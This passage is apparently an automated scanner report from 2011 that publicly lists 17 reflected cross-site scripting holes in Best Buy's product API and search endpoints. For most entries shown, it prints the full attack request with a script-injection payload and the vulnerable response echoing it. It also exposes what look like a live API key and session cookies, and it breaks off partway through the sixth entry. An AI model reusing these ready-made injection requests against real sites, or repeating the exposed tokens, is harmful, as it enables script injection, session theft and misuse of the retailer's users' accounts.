XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, content.bestbuyon.com, api.bbyremix.bestbuy.com

Report generated by XSS.CX at Mon Nov 07 06:59:25 CST 2011.

Loading



1. Cross-site scripting (reflected)

1.1. http://api.bbyremix.bestbuy.com/v1/products(digitalSku%3E%22%22&sku%20in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682)) [REST URL parameter 1]

1.2. http://api.bbyremix.bestbuy.com/v1/products(digitalSku%3E%22%22&sku%20in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682)) [REST URL parameter 2]

1.3. http://api.bbyremix.bestbuy.com/v1/products(digitalSku%3E%22%22&sku%20in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682)) [callback parameter]

1.4. http://api.bbyremix.bestbuy.com/v1/products(digitalSku%3E%22%22&sku%20in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682)) [name of an arbitrarily supplied request parameter]

1.5. http://api.bbyremix.bestbuy.com/v1/products(digitalSku%3E%22%22&sku%20in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682)) [pageSize parameter]

1.6. http://api.bbyremix.bestbuy.com/v1/products(digitalSku%3E%22%22&sku%20in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682)) [show parameter]

1.7. http://api.bbyremix.bestbuy.com/v1/products(sku%20in(3302103)&(departmentId=3)) [REST URL parameter 1]

1.8. http://api.bbyremix.bestbuy.com/v1/products(sku%20in(3302103)&(departmentId=3)) [REST URL parameter 2]

1.9. http://api.bbyremix.bestbuy.com/v1/products(sku%20in(3302103)&(departmentId=3)) [callback parameter]

1.10. http://api.bbyremix.bestbuy.com/v1/products(sku%20in(3302103)&(departmentId=3)) [name of an arbitrarily supplied request parameter]

1.11. http://api.bbyremix.bestbuy.com/v1/products(sku%20in(3302103)&(departmentId=3)) [pageSize parameter]

1.12. http://api.bbyremix.bestbuy.com/v1/products(sku%20in(3302103)&(departmentId=3)) [show parameter]

1.13. http://content.bestbuyon.com/solr/select/ [fl parameter]

1.14. http://content.bestbuyon.com/solr/select/ [indent parameter]

1.15. http://content.bestbuyon.com/solr/select/ [json.wrf parameter]

1.16. http://content.bestbuyon.com/solr/select/ [name of an arbitrarily supplied request parameter]

1.17. http://content.bestbuyon.com/solr/select/ [q parameter]

2. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 17 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://api.bbyremix.bestbuy.com/v1/products(digitalSku%3E%22%22&sku%20in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682)) [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bbyremix.bestbuy.com
Path:   /v1/products(digitalSku%3E%22%22&sku%20in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682))

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload b8729<script>alert(1)</script>6f5007fae5e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v1b8729<script>alert(1)</script>6f5007fae5e/products(digitalSku%3E%22%22&sku%20in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682))?dsku=true&show=sku,digitalSku&apiKey=tfuyteqkrnxfp3ye6kvpvk5e&callback=SDSTATIC&pageSize=99&format=json HTTP/1.1
Host: api.bbyremix.bestbuy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.bestbuy.com/site/searchpage.jsp;jsessionid=862F85406D1E8A88C979674E9560AAD4.bbolsp-app05-53?_dyncharset=ISO-8859-1&_dynSessConf=-3734253558751737891&id=pcat17071&type=page&st=tv+streo&sc=Global&cp=1&nrp=15&sp=&qp=&list=n&iht=y&usc=All+Categories&ks=960
Cookie: TLTSID=6D7B778A093D1009CE54B5FC8914D883; group5ab=b; newgroup3=b; newgroup2=a; newgroup=a; group2=c; group=b; DYN_USER_CONFIRM=3d7ab5f394b37c2c881dc7b7b961c0ba; DYN_USER_ID=ATG13342907254; JSESSIONID=862F85406D1E8A88C979674E9560AAD4.bbolsp-app05-53; TLTUID=6D7B778A093D1009CE54B5FC8914D883; mt.v=1.245581591.1320669526512; bbyonContext=ghp; bbyonRefTitle=Best%20Buy%20-%20Computers%2C%20Video%20Games%2C%20TVs%2C%20Cameras%2C%20Appliances%2C%20Phones; bbyonRefURL=http%3A//www.bestbuy.com/; track={'lastPage':'SRCL','page':'Search%20Results','searchLastPage':'Search%20Results','lastCatId':'pcat17071'}; s_cc=true; s_sq=%5B%5BB%5D%5D; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221320669534000_215011%22%2C%22ru%22%3A%22http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue%22%2C%22r%22%3A%22www.fakereferrerdominator.com%22%2C%22st%22%3A%22%22%2C%22to%22%3A3%2C%22c%22%3A%22http%3A%2F%2Fwww.bestbuy.com%2F%22%2C%22pv%22%3A1%2C%22lc%22%3A%7B%22d3%22%3A%7B%22v%22%3A1%2C%22s%22%3Atrue%7D%7D%2C%22cd%22%3A3%2C%22sd%22%3A3%2C%22cp%22%3A%7B%22orderDate%22%3A%2211%2F07%2F2011%22%2C%22TLSessionID%22%3A%226D7B778A093D1009CE54B5FC8914D883%22%2C%22bbyABTest%22%3A%2220111106-20111112%20GHP%20Takeover%20Image%20-%20B%22%7D%2C%22f%22%3A1320669548308%7D; s_vi=[CS]v1|275BE8AE851D0FA0-60000138200A6501[CE]; ci_IcsCsid=; fsr.a=1320669567008

Response

HTTP/1.1 200 OK
X-Mashery-Responder: mashery-web2.ATL
Etag: "d215993f5f4fc1fdee6135bc4dffdd5b"
X-Runtime: 1
Content-Type: application/x-javascript; charset=UTF-8
Cache-Control: private, max-age=0, must-revalidate
Connection: close
Server: thin 1.2.11 codename Bat-Shit Crazy
Accept-Ranges: bytes
Content-Length: 2462
Date: Mon, 07 Nov 2011 12:41:00 GMT

SDSTATIC({
"error": {
"examples": [
"/v1/products/8880044.xml?apiKey=<YourApiKey> : Get product with sku 8880044, as xml",
"/v1/products/8880044.json?apiKey=<YourApiKey> : 8880044, a
...[SNIP]...
<YourApiKey> : All stores within 10 miles of the latitude 38.89 and longitude -77.03"
],
"code": 400,
"message": "Couldn't understand '/v1b8729<script>alert(1)</script>6f5007fae5e/products(digitalSku>
...[SNIP]...

1.2. http://api.bbyremix.bestbuy.com/v1/products(digitalSku%3E%22%22&sku%20in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682)) [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bbyremix.bestbuy.com
Path:   /v1/products(digitalSku%3E%22%22&sku%20in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682))

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 49525<script>alert(1)</script>a769056b793 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v1/products(digitalSku%3E%22%2249525<script>alert(1)</script>a769056b793&sku%20in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682))?dsku=true&show=sku,digitalSku&apiKey=tfuyteqkrnxfp3ye6kvpvk5e&callback=SDSTATIC&pageSize=99&format=json HTTP/1.1
Host: api.bbyremix.bestbuy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.bestbuy.com/site/searchpage.jsp;jsessionid=862F85406D1E8A88C979674E9560AAD4.bbolsp-app05-53?_dyncharset=ISO-8859-1&_dynSessConf=-3734253558751737891&id=pcat17071&type=page&st=tv+streo&sc=Global&cp=1&nrp=15&sp=&qp=&list=n&iht=y&usc=All+Categories&ks=960
Cookie: TLTSID=6D7B778A093D1009CE54B5FC8914D883; group5ab=b; newgroup3=b; newgroup2=a; newgroup=a; group2=c; group=b; DYN_USER_CONFIRM=3d7ab5f394b37c2c881dc7b7b961c0ba; DYN_USER_ID=ATG13342907254; JSESSIONID=862F85406D1E8A88C979674E9560AAD4.bbolsp-app05-53; TLTUID=6D7B778A093D1009CE54B5FC8914D883; mt.v=1.245581591.1320669526512; bbyonContext=ghp; bbyonRefTitle=Best%20Buy%20-%20Computers%2C%20Video%20Games%2C%20TVs%2C%20Cameras%2C%20Appliances%2C%20Phones; bbyonRefURL=http%3A//www.bestbuy.com/; track={'lastPage':'SRCL','page':'Search%20Results','searchLastPage':'Search%20Results','lastCatId':'pcat17071'}; s_cc=true; s_sq=%5B%5BB%5D%5D; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221320669534000_215011%22%2C%22ru%22%3A%22http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue%22%2C%22r%22%3A%22www.fakereferrerdominator.com%22%2C%22st%22%3A%22%22%2C%22to%22%3A3%2C%22c%22%3A%22http%3A%2F%2Fwww.bestbuy.com%2F%22%2C%22pv%22%3A1%2C%22lc%22%3A%7B%22d3%22%3A%7B%22v%22%3A1%2C%22s%22%3Atrue%7D%7D%2C%22cd%22%3A3%2C%22sd%22%3A3%2C%22cp%22%3A%7B%22orderDate%22%3A%2211%2F07%2F2011%22%2C%22TLSessionID%22%3A%226D7B778A093D1009CE54B5FC8914D883%22%2C%22bbyABTest%22%3A%2220111106-20111112%20GHP%20Takeover%20Image%20-%20B%22%7D%2C%22f%22%3A1320669548308%7D; s_vi=[CS]v1|275BE8AE851D0FA0-60000138200A6501[CE]; ci_IcsCsid=; fsr.a=1320669567008

Response

HTTP/1.1 200 OK
X-Mashery-Responder: mashery-web3.ATL
Etag: "51b8c7fa34996a85bc0f120b011da270"
X-Runtime: 2
Content-Type: application/x-javascript; charset=UTF-8
Cache-Control: private, max-age=0, must-revalidate
Connection: close
Server: thin 1.2.11 codename Bat-Shit Crazy
Accept-Ranges: bytes
Content-Length: 2462
Date: Mon, 07 Nov 2011 12:41:03 GMT

SDSTATIC({
"error": {
"examples": [
"/v1/products/8880044.xml?apiKey=<YourApiKey> : Get product with sku 8880044, as xml",
"/v1/products/8880044.json?apiKey=<YourApiKey> : 8880044, a
...[SNIP]...
<YourApiKey> : All stores within 10 miles of the latitude 38.89 and longitude -77.03"
],
"code": 400,
"message": "Couldn't understand '/v1/products(digitalSku>\"\"49525<script>alert(1)</script>a769056b793&sku in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682))?dsku=true&show=sku,digitalSku&apiKey=tfuyteqkrnxfp3ye6kvpvk5e&callback=
...[SNIP]...

1.3. http://api.bbyremix.bestbuy.com/v1/products(digitalSku%3E%22%22&sku%20in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682)) [callback parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bbyremix.bestbuy.com
Path:   /v1/products(digitalSku%3E%22%22&sku%20in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682))

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 2bcbb<script>alert(1)</script>aec7a64560c was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v1/products(digitalSku%3E%22%22&sku%20in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682))?dsku=true&show=sku,digitalSku&apiKey=tfuyteqkrnxfp3ye6kvpvk5e&callback=SDSTATIC2bcbb<script>alert(1)</script>aec7a64560c&pageSize=99&format=json HTTP/1.1
Host: api.bbyremix.bestbuy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.bestbuy.com/site/searchpage.jsp;jsessionid=862F85406D1E8A88C979674E9560AAD4.bbolsp-app05-53?_dyncharset=ISO-8859-1&_dynSessConf=-3734253558751737891&id=pcat17071&type=page&st=tv+streo&sc=Global&cp=1&nrp=15&sp=&qp=&list=n&iht=y&usc=All+Categories&ks=960
Cookie: TLTSID=6D7B778A093D1009CE54B5FC8914D883; group5ab=b; newgroup3=b; newgroup2=a; newgroup=a; group2=c; group=b; DYN_USER_CONFIRM=3d7ab5f394b37c2c881dc7b7b961c0ba; DYN_USER_ID=ATG13342907254; JSESSIONID=862F85406D1E8A88C979674E9560AAD4.bbolsp-app05-53; TLTUID=6D7B778A093D1009CE54B5FC8914D883; mt.v=1.245581591.1320669526512; bbyonContext=ghp; bbyonRefTitle=Best%20Buy%20-%20Computers%2C%20Video%20Games%2C%20TVs%2C%20Cameras%2C%20Appliances%2C%20Phones; bbyonRefURL=http%3A//www.bestbuy.com/; track={'lastPage':'SRCL','page':'Search%20Results','searchLastPage':'Search%20Results','lastCatId':'pcat17071'}; s_cc=true; s_sq=%5B%5BB%5D%5D; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221320669534000_215011%22%2C%22ru%22%3A%22http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue%22%2C%22r%22%3A%22www.fakereferrerdominator.com%22%2C%22st%22%3A%22%22%2C%22to%22%3A3%2C%22c%22%3A%22http%3A%2F%2Fwww.bestbuy.com%2F%22%2C%22pv%22%3A1%2C%22lc%22%3A%7B%22d3%22%3A%7B%22v%22%3A1%2C%22s%22%3Atrue%7D%7D%2C%22cd%22%3A3%2C%22sd%22%3A3%2C%22cp%22%3A%7B%22orderDate%22%3A%2211%2F07%2F2011%22%2C%22TLSessionID%22%3A%226D7B778A093D1009CE54B5FC8914D883%22%2C%22bbyABTest%22%3A%2220111106-20111112%20GHP%20Takeover%20Image%20-%20B%22%7D%2C%22f%22%3A1320669548308%7D; s_vi=[CS]v1|275BE8AE851D0FA0-60000138200A6501[CE]; ci_IcsCsid=; fsr.a=1320669567008

Response

HTTP/1.1 200 OK
X-Mashery-Responder: mashery-web1.ATL
Etag: "97b41d0d271374e456c3e1140a19b51a"
X-Runtime: 41
Content-Type: application/x-javascript; charset=UTF-8
Cache-Control: private, max-age=0, must-revalidate
Connection: close
Server: thin 1.2.11 codename Bat-Shit Crazy
Accept-Ranges: bytes
Content-Length: 477
Date: Mon, 07 Nov 2011 12:40:50 GMT

SDSTATIC2bcbb<script>alert(1)</script>aec7a64560c({
"queryTime": "0.010",
"currentPage": 1,
"totalPages": 0,
"partial": false,
"from": 1,
"total": 0,
"to": 0,
"products": [

],
"canonicalUrl": "/v1/products(digitalSku>
...[SNIP]...

1.4. http://api.bbyremix.bestbuy.com/v1/products(digitalSku%3E%22%22&sku%20in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682)) [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bbyremix.bestbuy.com
Path:   /v1/products(digitalSku%3E%22%22&sku%20in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682))

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 5c9df<script>alert(1)</script>aff4a8451b0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v1/products(digitalSku%3E%22%22&sku%20in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682))?dsku=true&show=sku,digitalSku&apiKey=tfuyteqkrnxfp3ye6kvpvk5e&callback=SDSTATIC&pageSize=99&format=json&5c9df<script>alert(1)</script>aff4a8451b0=1 HTTP/1.1
Host: api.bbyremix.bestbuy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.bestbuy.com/site/searchpage.jsp;jsessionid=862F85406D1E8A88C979674E9560AAD4.bbolsp-app05-53?_dyncharset=ISO-8859-1&_dynSessConf=-3734253558751737891&id=pcat17071&type=page&st=tv+streo&sc=Global&cp=1&nrp=15&sp=&qp=&list=n&iht=y&usc=All+Categories&ks=960
Cookie: TLTSID=6D7B778A093D1009CE54B5FC8914D883; group5ab=b; newgroup3=b; newgroup2=a; newgroup=a; group2=c; group=b; DYN_USER_CONFIRM=3d7ab5f394b37c2c881dc7b7b961c0ba; DYN_USER_ID=ATG13342907254; JSESSIONID=862F85406D1E8A88C979674E9560AAD4.bbolsp-app05-53; TLTUID=6D7B778A093D1009CE54B5FC8914D883; mt.v=1.245581591.1320669526512; bbyonContext=ghp; bbyonRefTitle=Best%20Buy%20-%20Computers%2C%20Video%20Games%2C%20TVs%2C%20Cameras%2C%20Appliances%2C%20Phones; bbyonRefURL=http%3A//www.bestbuy.com/; track={'lastPage':'SRCL','page':'Search%20Results','searchLastPage':'Search%20Results','lastCatId':'pcat17071'}; s_cc=true; s_sq=%5B%5BB%5D%5D; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221320669534000_215011%22%2C%22ru%22%3A%22http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue%22%2C%22r%22%3A%22www.fakereferrerdominator.com%22%2C%22st%22%3A%22%22%2C%22to%22%3A3%2C%22c%22%3A%22http%3A%2F%2Fwww.bestbuy.com%2F%22%2C%22pv%22%3A1%2C%22lc%22%3A%7B%22d3%22%3A%7B%22v%22%3A1%2C%22s%22%3Atrue%7D%7D%2C%22cd%22%3A3%2C%22sd%22%3A3%2C%22cp%22%3A%7B%22orderDate%22%3A%2211%2F07%2F2011%22%2C%22TLSessionID%22%3A%226D7B778A093D1009CE54B5FC8914D883%22%2C%22bbyABTest%22%3A%2220111106-20111112%20GHP%20Takeover%20Image%20-%20B%22%7D%2C%22f%22%3A1320669548308%7D; s_vi=[CS]v1|275BE8AE851D0FA0-60000138200A6501[CE]; ci_IcsCsid=; fsr.a=1320669567008

Response

HTTP/1.1 200 OK
X-Mashery-Responder: mashery-web1.ATL
Etag: "1f9c42d4e105b4af717af4f793e9a8f2"
X-Runtime: 5
Content-Type: application/x-javascript; charset=UTF-8
Cache-Control: private, max-age=0, must-revalidate
Connection: close
Server: thin 1.2.11 codename Bat-Shit Crazy
Accept-Ranges: bytes
Content-Length: 2465
Date: Mon, 07 Nov 2011 12:40:58 GMT

SDSTATIC({
"error": {
"examples": [
"/v1/products/8880044.xml?apiKey=<YourApiKey> : Get product with sku 8880044, as xml",
"/v1/products/8880044.json?apiKey=<YourApiKey> : 8880044, a
...[SNIP]...
439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682))?dsku=true&show=sku,digitalSku&apiKey=tfuyteqkrnxfp3ye6kvpvk5e&callback=SDSTATIC&pageSize=99&format=json&5c9df<script>alert(1)</script>aff4a8451b0=1'",
"status": "400 Bad Request"
}
})

1.5. http://api.bbyremix.bestbuy.com/v1/products(digitalSku%3E%22%22&sku%20in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682)) [pageSize parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bbyremix.bestbuy.com
Path:   /v1/products(digitalSku%3E%22%22&sku%20in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682))

Issue detail

The value of the pageSize request parameter is copied into the HTML document as plain text between tags. The payload 72fc2<script>alert(1)</script>2034c64a1de was submitted in the pageSize parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v1/products(digitalSku%3E%22%22&sku%20in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682))?dsku=true&show=sku,digitalSku&apiKey=tfuyteqkrnxfp3ye6kvpvk5e&callback=SDSTATIC&pageSize=9972fc2<script>alert(1)</script>2034c64a1de&format=json HTTP/1.1
Host: api.bbyremix.bestbuy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.bestbuy.com/site/searchpage.jsp;jsessionid=862F85406D1E8A88C979674E9560AAD4.bbolsp-app05-53?_dyncharset=ISO-8859-1&_dynSessConf=-3734253558751737891&id=pcat17071&type=page&st=tv+streo&sc=Global&cp=1&nrp=15&sp=&qp=&list=n&iht=y&usc=All+Categories&ks=960
Cookie: TLTSID=6D7B778A093D1009CE54B5FC8914D883; group5ab=b; newgroup3=b; newgroup2=a; newgroup=a; group2=c; group=b; DYN_USER_CONFIRM=3d7ab5f394b37c2c881dc7b7b961c0ba; DYN_USER_ID=ATG13342907254; JSESSIONID=862F85406D1E8A88C979674E9560AAD4.bbolsp-app05-53; TLTUID=6D7B778A093D1009CE54B5FC8914D883; mt.v=1.245581591.1320669526512; bbyonContext=ghp; bbyonRefTitle=Best%20Buy%20-%20Computers%2C%20Video%20Games%2C%20TVs%2C%20Cameras%2C%20Appliances%2C%20Phones; bbyonRefURL=http%3A//www.bestbuy.com/; track={'lastPage':'SRCL','page':'Search%20Results','searchLastPage':'Search%20Results','lastCatId':'pcat17071'}; s_cc=true; s_sq=%5B%5BB%5D%5D; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221320669534000_215011%22%2C%22ru%22%3A%22http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue%22%2C%22r%22%3A%22www.fakereferrerdominator.com%22%2C%22st%22%3A%22%22%2C%22to%22%3A3%2C%22c%22%3A%22http%3A%2F%2Fwww.bestbuy.com%2F%22%2C%22pv%22%3A1%2C%22lc%22%3A%7B%22d3%22%3A%7B%22v%22%3A1%2C%22s%22%3Atrue%7D%7D%2C%22cd%22%3A3%2C%22sd%22%3A3%2C%22cp%22%3A%7B%22orderDate%22%3A%2211%2F07%2F2011%22%2C%22TLSessionID%22%3A%226D7B778A093D1009CE54B5FC8914D883%22%2C%22bbyABTest%22%3A%2220111106-20111112%20GHP%20Takeover%20Image%20-%20B%22%7D%2C%22f%22%3A1320669548308%7D; s_vi=[CS]v1|275BE8AE851D0FA0-60000138200A6501[CE]; ci_IcsCsid=; fsr.a=1320669567008

Response

HTTP/1.1 200 OK
X-Mashery-Responder: mashery-web3.ATL
Etag: "991d6c4708b0de7a9a1d2b02c81176fa"
X-Runtime: 5
Content-Type: application/x-javascript; charset=UTF-8
Cache-Control: private, max-age=0, must-revalidate
Connection: close
Server: thin 1.2.11 codename Bat-Shit Crazy
Accept-Ranges: bytes
Content-Length: 2462
Date: Mon, 07 Nov 2011 12:40:53 GMT

SDSTATIC({
"error": {
"examples": [
"/v1/products/8880044.xml?apiKey=<YourApiKey> : Get product with sku 8880044, as xml",
"/v1/products/8880044.json?apiKey=<YourApiKey> : 8880044, a
...[SNIP]...
133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682))?dsku=true&show=sku,digitalSku&apiKey=tfuyteqkrnxfp3ye6kvpvk5e&callback=SDSTATIC&pageSize=9972fc2<script>alert(1)</script>2034c64a1de&format=json'",
"status": "400 Bad Request"
}
})

1.6. http://api.bbyremix.bestbuy.com/v1/products(digitalSku%3E%22%22&sku%20in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682)) [show parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bbyremix.bestbuy.com
Path:   /v1/products(digitalSku%3E%22%22&sku%20in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682))

Issue detail

The value of the show request parameter is copied into the HTML document as plain text between tags. The payload b1aa8<script>alert(1)</script>611d4d02863 was submitted in the show parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v1/products(digitalSku%3E%22%22&sku%20in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682))?dsku=true&show=sku,digitalSkub1aa8<script>alert(1)</script>611d4d02863&apiKey=tfuyteqkrnxfp3ye6kvpvk5e&callback=SDSTATIC&pageSize=99&format=json HTTP/1.1
Host: api.bbyremix.bestbuy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.bestbuy.com/site/searchpage.jsp;jsessionid=862F85406D1E8A88C979674E9560AAD4.bbolsp-app05-53?_dyncharset=ISO-8859-1&_dynSessConf=-3734253558751737891&id=pcat17071&type=page&st=tv+streo&sc=Global&cp=1&nrp=15&sp=&qp=&list=n&iht=y&usc=All+Categories&ks=960
